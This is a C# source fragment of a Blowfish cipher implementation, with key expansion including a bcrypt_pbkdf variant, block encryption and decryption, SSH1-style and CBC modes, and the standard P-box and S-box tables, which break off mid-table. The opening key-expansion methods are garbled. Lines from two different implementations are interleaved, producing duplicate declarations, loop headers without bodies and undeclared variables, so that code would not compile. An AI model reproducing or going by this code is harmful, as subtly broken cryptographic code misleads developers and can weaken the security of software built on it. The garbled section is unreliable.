dest[d_offset++] ^= src[s_offset++];
}
SubKey = OriginPBox.Clone() as uint[];
SBox = OriginSBox.Clone() as uint[,];
for (int i = 0; i < 18; ++i)
internal void ExpandState(byte[] key)
{
int keyLen = key.Length;
for (int j = 0, i = 0; i < 16 + 2; i++)
{
uint temp = 0;
temp <<= 8;
temp |= UserKey[(i * 4) % UserKey.Length];
temp <<= 8;
temp |= UserKey[(i * 4 + 1) % UserKey.Length];
temp <<= 8;
temp |= UserKey[(i * 4 + 2) % UserKey.Length];
temp <<= 8;
temp |= UserKey[(i * 4 + 3) % UserKey.Length];
SubKey[i] ^= temp;
uint temp =
(((uint)(key[j]) << 24) |
((uint)(key[(j + 1) % keyLen]) << 16) |
((uint)(key[(j + 2) % keyLen]) << 8) |
((uint)(key[(j + 3) % keyLen])));
P[i] = P[i] ^ temp;
j = (j + 4) % keyLen;
}
byte[] _temp = new byte[8];
for (int i = 0; i < 9; ++i)
byte[] LR = new byte[8];
for (int i = 0; i < 16 + 2; i += 2)
{
Encrypt(_temp, Endian.Little);
Buffer.BlockCopy(_temp, 0, SubKey, sizeof(uint) * 2 * i, 8);
BlockEncrypt(LR, 0, LR, 0);
P[i] = GetIntBE(LR, 0);
P[i + 1] = GetIntBE(LR, 4);
}
for (int i = 0; i < 4; ++i)
for (int j = 0; j < 256; j += 2)
{
for (int j = 0; j < 128; ++j)
BlockEncrypt(LR, 0, LR, 0);
S0[j] = GetIntBE(LR, 0);
S0[j + 1] = GetIntBE(LR, 4);
}
for (int j = 0; j < 256; j += 2)
{
BlockEncrypt(LR, 0, LR, 0);
S1[j] = GetIntBE(LR, 0);
S1[j + 1] = GetIntBE(LR, 4);
}
for (int j = 0; j < 256; j += 2)
{
BlockEncrypt(LR, 0, LR, 0);
S2[j] = GetIntBE(LR, 0);
S2[j + 1] = GetIntBE(LR, 4);
}
for (int j = 0; j < 256; j += 2)
{
BlockEncrypt(LR, 0, LR, 0);
S3[j] = GetIntBE(LR, 0);
S3[j + 1] = GetIntBE(LR, 4);
}
}
// used by bcrypt_pbkdf
internal void ExpandState(byte[] key, byte[] data)
{
int keyLen = key.Length;
for (int j = 0, i = 0; i < 16 + 2; i++)
{
uint temp =
(((uint)(key[j]) << 24) |
((uint)(key[(j + 1) % keyLen]) << 16) |
((uint)(key[(j + 2) % keyLen]) << 8) |
((uint)(key[(j + 3) % keyLen])));
P[i] = P[i] ^ temp;
j = (j + 4) % keyLen;
}
byte[] LR = new byte[8];
int dataIndex = 0;
int dataLen = data.Length;
for (int i = 0; i < 16 + 2; i += 2)
{
for (int k = 0; k < 8; ++k)
{
Encrypt(_temp, Endian.Little);
Buffer.BlockCopy(_temp, 0, SBox, 256 * sizeof(uint) * i + sizeof(ulong) * j, sizeof(ulong));
LR[k] ^= data[dataIndex];
dataIndex = (dataIndex + 1) % dataLen;
}
BlockEncrypt(LR, 0, LR, 0);
P[i] = GetIntBE(LR, 0);
P[i + 1] = GetIntBE(LR, 4);
}
for (int j = 0; j < 256; j += 2)
{
for (int k = 0; k < 8; ++k)
{
LR[k] ^= data[dataIndex];
dataIndex = (dataIndex + 1) % dataLen;
}
BlockEncrypt(LR, 0, LR, 0);
S0[j] = GetIntBE(LR, 0);
S0[j + 1] = GetIntBE(LR, 4);
}
for (int j = 0; j < 256; j += 2)
{
for (int k = 0; k < 8; ++k)
{
LR[k] ^= data[dataIndex];
dataIndex = (dataIndex + 1) % dataLen;
}
BlockEncrypt(LR, 0, LR, 0);
S1[j] = GetIntBE(LR, 0);
S1[j + 1] = GetIntBE(LR, 4);
}
for (int j = 0; j < 256; j += 2)
{
for (int k = 0; k < 8; ++k)
{
LR[k] ^= data[dataIndex];
dataIndex = (dataIndex + 1) % dataLen;
}
BlockEncrypt(LR, 0, LR, 0);
S2[j] = GetIntBE(LR, 0);
S2[j + 1] = GetIntBE(LR, 4);
}
for (int j = 0; j < 256; j += 2)
{
for (int k = 0; k < 8; ++k)
{
LR[k] ^= data[dataIndex];
dataIndex = (dataIndex + 1) % dataLen;
}
BlockEncrypt(LR, 0, LR, 0);
S3[j] = GetIntBE(LR, 0);
S3[j + 1] = GetIntBE(LR, 4);
}
}
internal void InitializeState()
{
Array.Copy(blowfish_pbox, 0, P, 0, 18);
Array.Copy(blowfish_sbox, 0, S0, 0, 256);
Array.Copy(blowfish_sbox, 256, S1, 0, 256);
Array.Copy(blowfish_sbox, 512, S2, 0, 256);
Array.Copy(blowfish_sbox, 768, S3, 0, 256);
}
public void BlockEncrypt(byte[] input, int inOffset, byte[] output, int outOffset)
{
uint L, R;
L = GetIntBE(input, inOffset);
R = GetIntBE(input, inOffset + 4);
L ^= P[0];
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[1]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[2]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[3]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[4]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[5]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[6]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[7]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[8]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[9]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[10]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[11]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[12]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[13]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[14]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[15]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[16]);
R ^= P[17];
PutIntBE(R, output, outOffset);
PutIntBE(L, output, outOffset + 4);
}
public void BlockDecrypt(byte[] input, int inOffset, byte[] output, int outOffset)
{
uint L, R;
L = GetIntBE(input, inOffset);
R = GetIntBE(input, inOffset + 4);
L ^= P[17];
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[16]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[15]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[14]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[13]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[12]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[11]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[10]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[9]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[8]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[7]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[6]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[5]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[4]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[3]);
R ^= ((((S0[(int)((L >> 24) & 0xff)] + S1[(int)((L >> 16) & 0xff)]) ^
S2[(int)((L >> 8) & 0xff)]) + S3[(int)(L & 0xff)]) ^ P[2]);
L ^= ((((S0[(int)((R >> 24) & 0xff)] + S1[(int)((R >> 16) & 0xff)]) ^
S2[(int)((R >> 8) & 0xff)]) + S3[(int)(R & 0xff)]) ^ P[1]);
R ^= P[0];
PutIntBE(R, output, outOffset);
PutIntBE(L, output, outOffset + 4);
}
public void EncryptSSH1Style(byte[] src, int srcOff, int len, byte[] dest, int destOff)
{
int end = srcOff + len;
int i, j;
for (int si = srcOff, di = destOff; si < end; si += 8, di += 8)
{
for (i = 0; i < 4; i++)
{
j = 3 - i;
IV[i] ^= src[si + j];
IV[i + 4] ^= src[si + 4 + j];
}
BlockEncrypt(IV, 0, IV, 0);
for (i = 0; i < 4; i++)
{
j = 3 - i;
dest[di + i] = IV[j];
dest[di + i + 4] = IV[4 + j];
}
}
}
public void DecryptSSH1Style(byte[] src, int srcOff, int len, byte[] dest, int destOff)
{
int end = srcOff + len;
int i, j;
for (int si = srcOff, di = destOff; si < end; si += 8, di += 8)
{
for (i = 0; i < 4; i++)
{
j = (3 - i);
enc[i] = src[si + j];
enc[i + 4] = src[si + 4 + j];
}
BlockDecrypt(enc, 0, dec, 0);
for (i = 0; i < 4; i++)
{
j = 3 - i;
dest[di + i] = (byte)((IV[j] ^ dec[j]) & 0xff);
IV[j] = enc[j];
dest[di + i + 4] = (byte)((IV[4 + j] ^ dec[4 + j]) & 0xff);
IV[4 + j] = enc[4 + j];
}
}
}
public void EncryptCBC(byte[] input, int inputOffset, int inputLen, byte[] output, int outputOffset)
{
int nBlocks = inputLen / BLOCK_SIZE;
for (int bc = 0; bc < nBlocks; bc++)
{
BlockXor(input, inputOffset, BLOCK_SIZE, IV, 0);
BlockEncrypt(IV, 0, output, outputOffset);
Array.Copy(output, outputOffset, IV, 0, BLOCK_SIZE);
inputOffset += BLOCK_SIZE;
outputOffset += BLOCK_SIZE;
}
}
public void DecryptCBC(byte[] input, int inputOffset, int inputLen, byte[] output, int outputOffset)
{
byte[] tmpBlk = new byte[BLOCK_SIZE];
int nBlocks = inputLen / BLOCK_SIZE;
for (int bc = 0; bc < nBlocks; bc++)
{
BlockDecrypt(input, inputOffset, tmpBlk, 0);
for (int i = 0; i < BLOCK_SIZE; i++)
{
tmpBlk[i] ^= IV[i];
IV[i] = input[inputOffset + i];
output[outputOffset + i] = tmpBlk[i];
}
inputOffset += BLOCK_SIZE;
outputOffset += BLOCK_SIZE;
}
}
private static readonly uint[] blowfish_pbox = new uint[] {
0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344,
0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89,
0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c,
0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917,
0x9216d5d9, 0x8979fb1b
};
private static readonly uint[] blowfish_sbox = new uint[] {
0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7,
0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99,
0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16,
0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e,
0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee,
0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013,
0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef,
0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e,
0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60,
0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440,
0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce,
0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a,
0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e,
0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677,
0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193,
0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032,
0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88,
0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239,
0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e,
0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0,
0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3,
0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98,
0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88,
0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe,
0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6,
0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d,
0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b,
0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7,
0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba,
0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463,
0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f,
0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09,
0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3,
0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb,
0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279,
0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8,
0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab,
0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82,
0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db,
0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573,
0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0,
0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b,
0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790,
0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8,
0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4,
0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0,
0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7,
0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c,
0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad,
0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1,
0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299,
0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9,
0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477,
0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf,
0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49,
0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af,
0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa,
0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5,
0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41,
0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915,
0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400,
0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915,
0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664,
0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a,
0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623,
0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266,
0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1,
0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e,
0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6,
0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1,
0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e,
0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1,
0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737,
0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8,
0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff,
0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd,
0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701,
0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7,
0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41,
0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331,
0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf,
0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af,
0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e,
0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87,
0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c,
0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2,
0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16,
0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd,
0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b,
0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509,
0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e,
0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3,
0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f,
0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a,
0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4,
0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960,
0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66,
0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28,
0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802,
0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84,
0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510,
0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf,
0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14,
0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e,
0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50,
0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7,
0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8,
0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281,
0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99,
0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696,
0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128,
0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73,
0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0,
0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0,
0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105,
0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250,
0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3,
0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285,
0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00,
0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061,
0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb,
0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e,
0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735,
0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc,
0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9,
0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340,
0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20,
0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7,
0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934,
0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068,
0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af,
0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840,
0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45,
0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504,
0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a,
0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb,
0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee,
0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6,
0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42,
0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b,
0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2,
0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb,
0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527,
0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b,
0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33,
0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c,
0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3,
0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc,
0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17,
0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564,
0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b,
0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115,
0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922,
0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728,
0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0,
0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e,
0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37,
0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d,
0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804,
0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b,
0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3,
0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb,
0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d,
0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c,
0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350,
0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9,
0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a,
0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe,
0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d,
0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc,
0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f,
0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61,
0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2,
0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9,
0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2,
0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c,
0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e,
0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633,
0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10,
0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169,
0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52,
0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027,
0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5,
0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62,
0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634,
0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76,
0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24,
0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc,
0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4,
0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c,
0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837,
0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0,
0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b,
0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe,
0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b,
0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4,
0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8,
0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6,
0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304,
0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22,
0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4,
0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6,
0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9,
0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59,
0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593,
0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51,
0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28,
0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c,
0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b,
0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28,
0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c,
